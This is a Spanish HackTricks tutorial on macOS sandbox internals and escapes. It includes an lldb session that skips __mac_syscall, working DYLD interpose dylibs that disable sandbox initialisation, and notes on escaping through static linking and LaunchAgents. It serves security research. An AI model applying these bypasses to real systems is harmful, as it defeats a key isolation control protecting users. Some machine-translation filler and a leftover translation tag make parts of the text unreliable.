hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass.md

# Depuración y Bypass del Sandbox de macOS

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## Proceso de carga del Sandbox

<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption><p>Imagen de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>

En la imagen anterior se puede observar **cómo se cargará el sandbox** cuando se ejecute una aplicación con la concesión **`com.apple.security.app-sandbox`**.

El compilador vinculará `/usr/lib/libSystem.B.dylib` al binario.

Luego, **`libSystem.B`** llamará a otras varias funciones hasta que **`xpc_pipe_routine`** envíe las concesiones de la aplicación a **`securityd`**. Securityd comprueba si el proceso debe ser puesto en cuarentena dentro del Sandbox, y si es así, se pondrá en cuarentena.\
Finalmente, el sandbox se activará con una llamada a **`__sandbox_ms`** que llamará a **`__mac_syscall`**.

## Posibles Bypasses

### Ejecutar binarios sin Sandbox

Si ejecutas un binario que no esté en el Sandbox desde un binario en el Sandbox, se **ejecutará dentro del Sandbox del proceso padre**.

### Depuración y bypass del Sandbox con lldb

Compilaremos una aplicación que debería estar en el Sandbox:

{% tabs %}
{% tab title="sand.c" %}
```c
#include <stdlib.h>
int main() {
    system("cat ~/Desktop/del.txt");
}
```
{% endtab %}

{% tab title="entitlements.xml" %}

El archivo `entitlements.xml` es un archivo de configuración que se utiliza para especificar los permisos y capacidades que una aplicación tiene en el sistema. Estos permisos se denominan "entitlements" y se utilizan para restringir el acceso a ciertas funciones y recursos del sistema. 

El archivo `entitlements.xml` se utiliza comúnmente en el contexto de la sandbox de macOS para especificar los permisos que una aplicación tiene dentro de la sandbox. Los permisos que se pueden especificar en el archivo `entitlements.xml` incluyen cosas como acceso a la red, acceso a archivos, acceso a la cámara y al micrófono, y más.

Es importante tener en cuenta que los permisos especificados en el archivo `entitlements.xml` no son necesariamente exhaustivos y que una aplicación puede tener acceso a recursos adicionales a través de otros medios. Además, es posible que una aplicación tenga permisos que no se especifican en el archivo `entitlements.xml` si se ejecuta fuera de la sandbox.

En general, el archivo `entitlements.xml` es una herramienta importante para garantizar que las aplicaciones se ejecuten de manera segura y limitada en la sandbox de macOS. Sin embargo, no es una solución completa y se deben tomar otras medidas de seguridad para garantizar que las aplicaciones no puedan escapar de la sandbox o acceder a recursos no autorizados. 

{% endtab %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
```
{% endtab %}

{% tab title="Info.plist" %}

El archivo Info.plist es un archivo de configuración que se encuentra en la raíz de cada aplicación macOS. Este archivo contiene información sobre la aplicación, como su nombre, versión, desarrollador y permisos requeridos. También puede contener información sobre el sandbox de la aplicación, como los recursos a los que se le permite acceder.

El archivo Info.plist se puede modificar para cambiar los permisos requeridos por la aplicación o para desactivar el sandbox por completo. Sin embargo, esto puede comprometer la seguridad del sistema y permitir que la aplicación acceda a recursos que normalmente estarían fuera de su alcance. Por lo tanto, es importante tener cuidado al modificar este archivo y solo hacerlo si es absolutamente necesario.
```xml
<plist version="1.0">
<dict>
    <key>CFBundleIdentifier</key>
    <string>xyz.hacktricks.sandbox</string>
    <key>CFBundleName</key>
    <string>Sandbox</string>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}

Luego compila la aplicación:

{% code overflow="wrap" %}
```bash
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
```
{% endcode %}

{% hint style="danger" %}
La aplicación intentará **leer** el archivo **`~/Desktop/del.txt`**, lo cual el **Sandbox no permitirá**.\
Cree un archivo allí ya que una vez que se haya evadido el Sandbox, podrá leerlo:
```bash
echo "Sandbox Bypassed" > ~/Desktop/del.txt
```
{% endhint %}

Depuremos la aplicación de ajedrez para ver cuándo se carga el Sandbox:
```bash
# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
  * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
    frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
    frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
    frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
    frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
  x2 = 0x000000016fdfd660
  
# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
    0x187659904 <+4>:  svc    #0x80
    0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
    0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
```
{% hint style="warning" %}
Incluso si se ha evadido el Sandbox, TCC preguntará al usuario si desea permitir que el proceso lea archivos del escritorio.
{% endhint %}

### Abusando de otros procesos

Si desde el proceso del Sandbox se puede **comprometer otros procesos** que se ejecutan en Sandboxes menos restrictivos (o sin ellos), se podrá escapar a sus Sandboxes:

{% content-ref url="../../macos-proces-abuse/" %}
[macos-proces-abuse](../../macos-proces-abuse/)
{% endcontent-ref %}

### Bypass de Interposting

Para obtener más información sobre **Interposting**, consulte:

{% content-ref url="../../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../../mac-os-architecture/macos-function-hooking.md)
{% endcontent-ref %}

#### Interceptar `_libsecinit_initializer` para evitar el Sandbox
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
    printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
	void (*overriden__libsecinit_initializer)(void);
	void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
```

```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### Interceptar `__mac_syscall` para evitar el Sandbox

{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
    printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
    if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
        printf("Bypassing Sandbox initiation.\n");
        return 0; // pretend we did the job without actually calling __mac_syscall
    }
    // Call the original function for other cases
    return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
    const void *replacement;
    const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
    { (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
```
{% endcode %} (This tag should not be translated)
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```
### Compilación estática y vinculación dinámica

[**Esta investigación**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descubrió 2 formas de evitar el Sandbox. Debido a que el Sandbox se aplica desde el espacio de usuario cuando se carga la biblioteca **libSystem**. Si un binario pudiera evitar cargarla, nunca se sandboxearía:

* Si el binario estuviera **completamente compilado estáticamente**, podría evitar cargar esa biblioteca.
* Si el **binario no necesitara cargar ninguna biblioteca** (porque el enlazador también está en libSystem), no necesitaría cargar libSystem.

### Shellcodes

Tenga en cuenta que **incluso los shellcodes** en ARM64 deben vincularse en `libSystem.dylib`:
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### Abuso de ubicaciones de inicio automático

Si un proceso con sandbox puede **escribir** en un lugar donde **más tarde se ejecutará el binario una aplicación sin sandbox**, podrá **escapar simplemente colocando** allí el binario. Un buen ejemplo de este tipo de ubicaciones son `~/Library/LaunchAgents` o `/System/Library/LaunchDaemons`.

Para esto, incluso puede necesitar **2 pasos**: hacer que un proceso con un sandbox **más permisivo** (`file-read*`, `file-write*`) ejecute su código, que en realidad escribirá en un lugar donde se ejecutará **sin sandbox**.

Consulte esta página sobre **ubicaciones de inicio automático**:

{% content-ref url="broken-reference" %}
[Enlace roto](broken-reference)
{% endcontent-ref %}

## Referencias

* [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
* [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
* [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>